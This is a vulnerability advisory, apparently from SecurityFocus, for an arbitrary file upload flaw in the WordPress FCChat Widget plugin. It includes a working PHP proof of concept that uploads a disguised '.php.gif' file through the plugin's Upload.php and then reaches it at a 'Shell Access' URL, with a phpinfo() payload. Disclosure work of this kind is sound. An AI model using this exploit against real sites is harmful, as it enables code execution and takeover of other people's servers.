source: https://www.securityfocus.com/bid/53855/info

WordPress FCChat Widget plugin is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

WordPress FCChat Widget plugin 2.2.12.2 through versions 2.2.13.1 are vulnerable. 

<?php

$uploadfile="lo.php.gif";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/fcchat/html/Upload.php?id=1");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile",
                'Submit'=>'submit'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : 
http://www.exemple.com/wordpress/wp-content/plugins/fcchat/html/images/1_lo.php.gif

lo.php.gif
<?php
phpinfo();
?>